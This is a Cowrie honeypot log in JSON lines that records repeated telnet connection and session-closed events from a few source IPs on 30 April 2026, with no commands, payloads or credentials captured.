{"eventid":"cowrie.session.closed","duration":30.912537336349487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.225596Z","src_ip":"69.6.225.50","session":"e6f296f59ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888160467147827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.331638Z","src_ip":"69.6.225.50","session":"85d22e39e317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97252631187439,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.492417Z","src_ip":"144.79.218.12","session":"70536f77bb27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38130,"dst_ip":"159.203.135.109","dst_port":23,"session":"36dae4056f65","protocol":"telnet","message":"New connection: 69.6.225.50:38130 (159.203.135.109:23) [session: 36dae4056f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.578915Z"}
{"eventid":"cowrie.session.closed","duration":39.317962646484375,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:27.590110Z","src_ip":"5.61.90.139","session":"e8bcddec7abf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.310759782791138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.019150Z","src_ip":"69.6.225.50","session":"09060f70cff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844212532043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.050962Z","src_ip":"69.6.225.50","session":"48172564f44a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440677404403687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.062892Z","src_ip":"69.6.225.50","session":"3b2202aafa99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649306774139404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.117119Z","src_ip":"69.6.225.50","session":"a0402a41861d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496286630630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.194679Z","src_ip":"69.6.225.50","session":"d1425e3d54e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52882,"dst_ip":"159.203.135.109","dst_port":23,"session":"618ab847b26d","protocol":"telnet","message":"New connection: 69.6.225.50:52882 (159.203.135.109:23) [session: 618ab847b26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.580403Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52894,"dst_ip":"159.203.135.109","dst_port":23,"session":"7abd8ff4df9f","protocol":"telnet","message":"New connection: 69.6.225.50:52894 (159.203.135.109:23) [session: 7abd8ff4df9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:28.680091Z"}
{"eventid":"cowrie.session.closed","duration":31.011747360229492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.049882Z","src_ip":"69.6.225.50","session":"5ecbb41b93a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31628394126892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.056420Z","src_ip":"69.6.225.50","session":"d464819089a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155611276626587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.074415Z","src_ip":"69.6.225.50","session":"09c5ffb64c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561731815338135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.079998Z","src_ip":"69.6.225.50","session":"b9478a89026c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656004905700684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.208477Z","src_ip":"69.6.225.50","session":"160e99571f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"2560a5b3a3d0","protocol":"telnet","message":"New connection: 69.6.225.50:52904 (159.203.135.109:23) [session: 2560a5b3a3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.217750Z"}
{"eventid":"cowrie.session.closed","duration":32.49384355545044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.280940Z","src_ip":"144.79.218.12","session":"3dbdcd53360c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52920,"dst_ip":"159.203.135.109","dst_port":23,"session":"34f46aa1af73","protocol":"telnet","message":"New connection: 69.6.225.50:52920 (159.203.135.109:23) [session: 34f46aa1af73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.416200Z"}
{"eventid":"cowrie.session.closed","duration":34.136345863342285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.427264Z","src_ip":"144.79.218.12","session":"cc6325eb3a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1deb9cca49ce","protocol":"telnet","message":"New connection: 69.6.225.50:52932 (159.203.135.109:23) [session: 1deb9cca49ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:29.804786Z"}
{"eventid":"cowrie.session.closed","duration":31.181907176971436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.093330Z","src_ip":"69.6.225.50","session":"c37d21713897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89888882637024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.104250Z","src_ip":"69.6.225.50","session":"60b1985458df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480573892593384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.110990Z","src_ip":"69.6.225.50","session":"9101e0607403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812434196472168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.340202Z","src_ip":"69.6.225.50","session":"d08785cc504b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e4c6e3f956","protocol":"telnet","message":"New connection: 69.6.225.50:52934 (159.203.135.109:23) [session: 18e4c6e3f956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.528112Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52936,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2f8dcc9c22","protocol":"telnet","message":"New connection: 69.6.225.50:52936 (159.203.135.109:23) [session: 6c2f8dcc9c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.665486Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee4e3f486985","protocol":"telnet","message":"New connection: 144.79.218.12:45638 (10.17.0.5:23) [session: ee4e3f486985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.825121Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45652,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb94a4fe9c5","protocol":"telnet","message":"New connection: 144.79.218.12:45652 (10.17.0.5:23) [session: 4bb94a4fe9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.841723Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"05de6c69a725","protocol":"telnet","message":"New connection: 69.6.225.50:52948 (159.203.135.109:23) [session: 05de6c69a725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:30.952085Z"}
{"eventid":"cowrie.session.closed","duration":31.134722471237183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.045384Z","src_ip":"69.6.225.50","session":"7625f8a7511e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35213541984558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.052684Z","src_ip":"69.6.225.50","session":"c773072dae8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214126110076904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.057985Z","src_ip":"69.6.225.50","session":"19415faf65c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.70337104797363,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.098488Z","src_ip":"144.79.218.12","session":"2120f588abf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45658,"dst_ip":"10.17.0.5","dst_port":23,"session":"874894f7bc69","protocol":"telnet","message":"New connection: 144.79.218.12:45658 (10.17.0.5:23) [session: 874894f7bc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.118134Z"}
{"eventid":"cowrie.session.closed","duration":30.306288957595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.170101Z","src_ip":"69.6.225.50","session":"7315e958043c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1c48bc386b","protocol":"telnet","message":"New connection: 69.6.225.50:52952 (159.203.135.109:23) [session: ab1c48bc386b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.218452Z"}
{"eventid":"cowrie.session.closed","duration":36.153918981552124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.356996Z","src_ip":"144.79.218.12","session":"37a9bfb344a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45662,"dst_ip":"10.17.0.5","dst_port":23,"session":"704b8e342bb5","protocol":"telnet","message":"New connection: 144.79.218.12:45662 (10.17.0.5:23) [session: 704b8e342bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.382273Z"}
{"eventid":"cowrie.session.closed","duration":30.553983688354492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.388867Z","src_ip":"69.6.225.50","session":"1655aed88fa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768542051315308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.397043Z","src_ip":"69.6.225.50","session":"421bb771ad5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45672,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f7cb1203ba","protocol":"telnet","message":"New connection: 144.79.218.12:45672 (10.17.0.5:23) [session: 81f7cb1203ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.404928Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"8072f9858712","protocol":"telnet","message":"New connection: 144.79.218.12:45688 (10.17.0.5:23) [session: 8072f9858712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.417379Z"}
{"eventid":"cowrie.session.closed","duration":36.71302270889282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:31.709083Z","src_ip":"144.79.218.12","session":"43ca2aa6b1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.407148122787476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.055397Z","src_ip":"69.6.225.50","session":"63a4c0726dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22834038734436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.081265Z","src_ip":"69.6.225.50","session":"3151beefb5b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.253188848495483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.087524Z","src_ip":"69.6.225.50","session":"dc3a4fd39211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723243713378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.135914Z","src_ip":"69.6.225.50","session":"67431fc6f5be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.683669567108154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.411422Z","src_ip":"144.79.218.12","session":"24a3fb116229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52956,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd751c882059","protocol":"telnet","message":"New connection: 69.6.225.50:52956 (159.203.135.109:23) [session: bd751c882059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.458675Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52972,"dst_ip":"159.203.135.109","dst_port":23,"session":"30501298831e","protocol":"telnet","message":"New connection: 69.6.225.50:52972 (159.203.135.109:23) [session: 30501298831e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:32.815154Z"}
{"eventid":"cowrie.session.closed","duration":30.572858572006226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.054183Z","src_ip":"69.6.225.50","session":"1ba4954e897e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58378529548645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.059019Z","src_ip":"69.6.225.50","session":"a4d3f212f955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972891330718994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.107599Z","src_ip":"69.6.225.50","session":"42a1315be7c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52976,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa68e576c912","protocol":"telnet","message":"New connection: 69.6.225.50:52976 (159.203.135.109:23) [session: aa68e576c912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.212423Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52996,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb4aa5fc5b7","protocol":"telnet","message":"New connection: 69.6.225.50:52996 (159.203.135.109:23) [session: 9bb4aa5fc5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.409783Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53000,"dst_ip":"159.203.135.109","dst_port":23,"session":"5761b1c09b77","protocol":"telnet","message":"New connection: 69.6.225.50:53000 (159.203.135.109:23) [session: 5761b1c09b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:33.956404Z"}
{"eventid":"cowrie.session.closed","duration":31.023319721221924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.063169Z","src_ip":"69.6.225.50","session":"5d7efaf0bf70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53004,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f5806bb9a6","protocol":"telnet","message":"New connection: 69.6.225.50:53004 (159.203.135.109:23) [session: a1f5806bb9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.076066Z"}
{"eventid":"cowrie.session.closed","duration":30.44292140007019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.086669Z","src_ip":"69.6.225.50","session":"25680e017c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693575859069824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.094499Z","src_ip":"69.6.225.50","session":"4db06b629860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80221700668335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.166535Z","src_ip":"69.6.225.50","session":"77af57bfb100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3867027759552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.193850Z","src_ip":"69.6.225.50","session":"3893aa1d8a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53020,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a396c687da","protocol":"telnet","message":"New connection: 69.6.225.50:53020 (159.203.135.109:23) [session: 06a396c687da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.358589Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"a37afd227b5f","protocol":"telnet","message":"New connection: 69.6.225.50:52984 (159.203.135.109:23) [session: a37afd227b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.364667Z"}
{"eventid":"cowrie.session.closed","duration":30.945801734924316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.602340Z","src_ip":"69.6.225.50","session":"397e96d48d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53030,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4531bd9700","protocol":"telnet","message":"New connection: 69.6.225.50:53030 (159.203.135.109:23) [session: cf4531bd9700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.645642Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53038,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d83065a7fd","protocol":"telnet","message":"New connection: 69.6.225.50:53038 (159.203.135.109:23) [session: 51d83065a7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.701011Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"000c64659430","protocol":"telnet","message":"New connection: 69.6.225.50:53042 (159.203.135.109:23) [session: 000c64659430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:34.907617Z"}
{"eventid":"cowrie.session.closed","duration":30.637412548065186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.069285Z","src_ip":"69.6.225.50","session":"05f75854915b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41485619544983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.087276Z","src_ip":"69.6.225.50","session":"b02efe075ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53058,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fd25c0fd8c","protocol":"telnet","message":"New connection: 69.6.225.50:53058 (159.203.135.109:23) [session: 95fd25c0fd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.328788Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0e06b49fb2","protocol":"telnet","message":"New connection: 69.6.225.50:53068 (159.203.135.109:23) [session: 1f0e06b49fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.347789Z"}
{"eventid":"cowrie.session.closed","duration":35.74420404434204,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.570123Z","src_ip":"144.79.218.12","session":"7af7e4148ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53078,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae19e81cf9c","protocol":"telnet","message":"New connection: 69.6.225.50:53078 (159.203.135.109:23) [session: 8ae19e81cf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:35.873847Z"}
{"eventid":"cowrie.session.closed","duration":30.589064598083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.092281Z","src_ip":"69.6.225.50","session":"d47e495d72c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8380868434906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.116806Z","src_ip":"69.6.225.50","session":"346e144eb1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.7547447681427,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.180246Z","src_ip":"144.79.218.12","session":"13f1ebe6171d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43639612197876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.234640Z","src_ip":"69.6.225.50","session":"9574552586b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"8037e1ea667a","protocol":"telnet","message":"New connection: 144.79.218.12:45702 (10.17.0.5:23) [session: 8037e1ea667a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.302874Z"}
{"eventid":"cowrie.session.closed","duration":31.159538984298706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.397773Z","src_ip":"69.6.225.50","session":"4335f6b691bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":45710,"dst_ip":"10.17.0.5","dst_port":23,"session":"79447f717b4d","protocol":"telnet","message":"New connection: 144.79.218.12:45710 (10.17.0.5:23) [session: 79447f717b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.418704Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53084,"dst_ip":"159.203.135.109","dst_port":23,"session":"e620fc4a2d9e","protocol":"telnet","message":"New connection: 69.6.225.50:53084 (159.203.135.109:23) [session: e620fc4a2d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:36.433287Z"}
